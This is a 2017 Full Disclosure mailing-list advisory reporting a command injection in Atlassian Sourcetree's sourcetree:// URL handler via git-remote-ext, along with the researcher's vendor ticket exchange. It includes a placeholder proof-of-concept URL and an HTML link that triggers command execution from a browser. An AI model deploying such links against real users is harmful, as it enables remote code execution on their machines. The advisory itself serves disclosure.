[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] [oss-security]Sourcetree arbitrary command execution

Hi there,

I would report a sourcetree arbitrary command execution

Sourcetree is a popular git gui client,and I found a command execution two 
month ago,
and I report to the official atlassian but the told me they have known this 
vulnerability internal tracker and they will fix it in next version but 
sourcetree has upgrade several version, this vulnerability still alive.
So I want to disclose this vulnerability and make a copy for atlassian again.


Author: redrain, hongyu-s@xxxxxx
Date: 2017-03-02
Version:2.5c and prior
Platform: macOS, Windows, Linux Desktop
Site: https://www.sourcetreeapp.com
Vendor: Atlassian
Vendor Notified: 2017-03-02


Technical Details:
========================================

SourceTree v2.5c and prior are affected by a command injection in the handling 
of sourcetree:// scheme.
The cloneRepo action with ‘ext’ is base on git-remote-ext, The git team’s 
description of the bug was:
Some protocols (like git-remote-ext) can execute arbitrary code found in the 
URL.
PoC:
sourcetree://cloneRepo/ext::[command injection]
Even attacker can exploit it through the browser
<html>
<head></head>
<body>
         <a href=sourcetree://checkoutRef/ext::id>a</a>
</body>
</html>
There is a simple demo video:
https://youtu.be/SQ1_Ht-0Bdo


Other:
============================================
and there is the last bugtrack I reported:


```
Activity
Your request status changed to Resolved with resolution Tracked Elsewhere.
03/Mar/17 5:35 PMLATEST
Alexander Minozhenko
Alexander Minozhenko03/Mar/17 5:34 PM
Hi rootredrain,
Thank you for sending this notification to Atlassian. This is indeed a 
vulnerability and an issue has been filed on an internal tracker.
The issue is SRCTREE-4632. Unfortunately, this issue is not accessible 
externally, so you will not be able to monitor its progress. Feel free to check 
with us for updates.
redrain
redrain02/Mar/17 5:43 PM
sourcetree_vuln.7z (9.62 MB)
Details02/Mar/17 5:43 PM
Product or Service
Other
Product Version
2.4.1a and earlier
Description
SourceTree v2.4.1a and earlier are affected by a command injection in the 
handling of sourcetree:// scheme.
The cloneRepo action with ‘ext’ is base on git-remote-ext, The git team’s 
description of the bug was:
Some protocols (like git-remote-ext) can execute arbitrary code found in the 
URL.
PoC:
sourcetree://cloneRepo/ext::[command injection]
Even attacker can exploit it through the browser
there is a simple demo in the attachment.
```


Regards,
redrain




_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/